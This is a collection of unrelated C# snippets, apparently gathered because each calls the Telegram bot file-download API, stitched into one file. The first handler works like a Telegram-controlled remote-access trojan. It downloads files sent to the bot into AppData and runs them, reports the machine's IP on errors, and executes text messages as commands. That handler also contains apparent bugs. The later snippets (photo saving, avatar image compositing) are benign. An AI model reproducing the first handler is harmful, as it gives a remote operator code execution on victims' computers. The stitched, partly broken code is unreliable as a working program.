private static async void OnTelegramMessage(object sender, Telegram.Bot.Args.MessageEventArgs e)
{
if (e.Message.Document != null && e.Message.Caption.Contains("/UploadUpdate")) // TODO: Сделать разархивирование и запуск файла. Сделать рабочий метод для использования комманды
{
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BotFiles\\" + e.Message.Document.FileName;
Directory.CreateDirectory(path);
var file = await bot.GetFileAsync(e.Message.Document.FileId);
using (var saveFile = new FileStream(path + "\\" + e.Message.Document.FileName, FileMode.Create))
{
await bot.DownloadFileAsync(file.FilePath, saveFile);
}
Process.Start(path);
}
else if (e.Message.Document != null && e.Message.Caption == "/UploadExecute")
{
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BotFiles\\";
Directory.CreateDirectory(path);
path += e.Message.Document.FileName;
var file = await bot.GetFileAsync(e.Message.Document.FileId);
using (var saveFile = new FileStream(path, FileMode.Create))
{
await bot.DownloadFileAsync(file.FilePath, saveFile);
}
try
{
Process.Start(path);
}
catch
{
TelegramSystem.SendMessage($"[ERROR] [{Functions.GetIp()}] Something wrong");
}
}
else if (e.Message.Document != null)
{
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BotFiles\\" + e.Message.Document.FileName;
Directory.CreateDirectory(path);
var file = await bot.GetFileAsync(e.Message.Document.FileId);
using (var saveFile = new FileStream(path + "\\" + e.Message.Document.FileName, FileMode.Create))
{
await bot.DownloadFileAsync(file.FilePath, saveFile);
}
}
else
{
cmd command = new cmd(e.Message.Text);
Execute(command);
}
}
public static async Task <string> DownloadFile(ITelegramBotClient botClient, File file, long chatId)
{
try
{
string originalPath = file.FilePath;
string fileName = originalPath.Substring(originalPath.LastIndexOf("/", StringComparison.Ordinal) + 1);
string pathToCodeRecognitionDirectory = Path.Combine(Environment.CurrentDirectory, "Code_recognition_photo");
string pathToFile = Path.Combine(pathToCodeRecognitionDirectory, $"{chatId}_{fileName}");
Directory.CreateDirectory(pathToCodeRecognitionDirectory);
using (FileStream outputFile = System.IO.File.Create(pathToFile))
{
await botClient.DownloadFileAsync(originalPath, outputFile);
}
return(pathToFile);
}
catch (Exception e)
{
// Ignore
}
return(null);
}
public async Task <byte[]> GetPhotoAsync(int userId)
{
var photos = await _telegramClient.GetUserProfilePhotosAsync(userId, 0, 1);
var photoId = photos.Photos.FirstOrDefault()?.FirstOrDefault()?.FileId;
if (photoId == null)
{
return(null);
}
var file = await _telegramClient.GetFileAsync(photoId);
using (var stream = new MemoryStream())
{
await _telegramClient.DownloadFileAsync(file.FilePath, stream);
var bytes = stream.ToArray();
return(bytes);
}
}
private async Task <Stream> GetWinnerImage(UserProfilePhotos userProfilePhotos)
{
using var bowlImage = Image.FromFile("Images/GoldenCup.png");
var winnerImageStream = new MemoryStream();
if (userProfilePhotos != null && userProfilePhotos.Photos.Any())
{
var photoSize = userProfilePhotos.Photos[0]
.OrderByDescending(p => p.Height)
.FirstOrDefault();
var photoFile = await _client.GetFileAsync(photoSize.FileId);
using var avatarStream = new MemoryStream();
await _client.DownloadFileAsync(photoFile.FilePath, avatarStream);
using var avatarImage = Image.FromStream(avatarStream);
using var bitmap = new Bitmap(avatarImage.Width, avatarImage.Height);
using var canvas = Graphics.FromImage(bitmap);
canvas.InterpolationMode = InterpolationMode.HighQualityBicubic;
canvas.SmoothingMode = SmoothingMode.AntiAlias;
canvas.PixelOffsetMode = PixelOffsetMode.HighQuality;
canvas.DrawImage(avatarImage, new Point());
var hPadding = bitmap.Height / 10;
var vPadding = hPadding / 2;
// add bowl image to avatar
var bowlRatio = (double)(bitmap.Height / 2.5) / bowlImage.Height;
var bowlWidth = (int)(bowlImage.Width * bowlRatio);
var bowlHeight = (int)(bowlImage.Height * bowlRatio);
canvas.DrawImage(
bowlImage,
new Rectangle(hPadding, bitmap.Height - bowlHeight - vPadding, bowlWidth, bowlHeight),
new Rectangle(0, 0, bowlImage.Width, bowlImage.Height),
GraphicsUnit.Pixel);
// add month and year text to avatar
using var gp = new GraphicsPath();
float fontSize = bowlHeight / 4;
using var font = new Font("Impact", fontSize, FontStyle.Bold, GraphicsUnit.Pixel);
var monthString = Messages.WinnerOfTheYear;
var yearString = DateTime.Today.ToString("yyyy");
gp.AddString(
monthString,
font.FontFamily,
(int)font.Style,
fontSize,
new Point(hPadding + bowlWidth + ((bitmap.Width - (hPadding + bowlWidth) - (int)canvas.MeasureString(monthString, font).Width) / 2), bitmap.Height - (vPadding + (bowlHeight / 2) + font.Height)),
null);
gp.AddString(
yearString,
font.FontFamily,
(int)font.Style,
fontSize,
new Point(hPadding + bowlWidth + ((bitmap.Width - (hPadding + bowlWidth) - (int)canvas.MeasureString(yearString, font).Width) / 2), bitmap.Height - (vPadding + (bowlHeight / 2))),
null);
canvas.DrawPath(new Pen(Color.Black, 10)
{
LineJoin = LineJoin.Round
}, gp);
canvas.FillPath(Brushes.White, gp);
canvas.Save();
bitmap.Save(winnerImageStream, ImageFormat.Png);
}
else
{
bowlImage.Save(winnerImageStream, ImageFormat.Png);
}
winnerImageStream.Seek(0, SeekOrigin.Begin);
return(winnerImageStream);
}